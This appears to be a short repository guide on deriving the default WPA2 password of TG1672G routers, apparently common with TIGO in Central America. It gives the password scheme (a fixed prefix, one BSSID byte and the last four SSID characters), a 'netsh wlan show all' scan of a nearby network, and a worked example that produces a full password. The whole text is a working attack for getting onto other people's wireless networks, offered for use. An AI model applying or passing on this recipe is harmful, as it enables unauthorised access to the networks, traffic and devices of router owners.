Queztaz/Finding the Default Wireless Password to TG1672G Routers

Finding the Default Wireless Password to TG1672G Routers

Preamble

Directions for finding the default wireless password on TG1672G routers. These routers have a predictable scheme for the "randomly" generated password. The router is commonly used in Central America with locations using TIGO as their ISP.

Cracking the code

Password schema

This pattern is used for the password. Stupid, I know.

TG1672G<FIRST BYTE OF BSSID NIC SPECIFIC><LAST FOUR OF SSID>

Getting the password

Without being connected to a wireless network, run the following in a Windows Command Prompt as administrator.

C:\windows\system32> netsh wlan show all

  SSID 20 : ARRIS-81A2
    Network type            : Infrastructure
    Authentication          : WPA2-Personal
    Encryption              : CCMP 
    BSSID 1                 : 98:6b:3d:61:81:a0
         Signal             : 24%  
         Radio type         : 802.11n
         Band               : 2.4 GHz
         Channel            : 1 
         Bss Load:
             Connected Stations:         0
             Channel Utilization:        35 (13 %)
             Medium Available Capacity:  31250 (1000000 us/s)
         Basic rates (Mbps) : 1 2 5.5 11
         Other rates (Mbps) : 6 9 12 18 24 36 48 54

That command will list out all local wireless networks. The first byte of the NIC Specific is "61" and the last part of the password is final 4 of the SSID.

Putting it all together, the password will be TG1672G6181A2

This will fail if the router is the wrong model or the password is changed.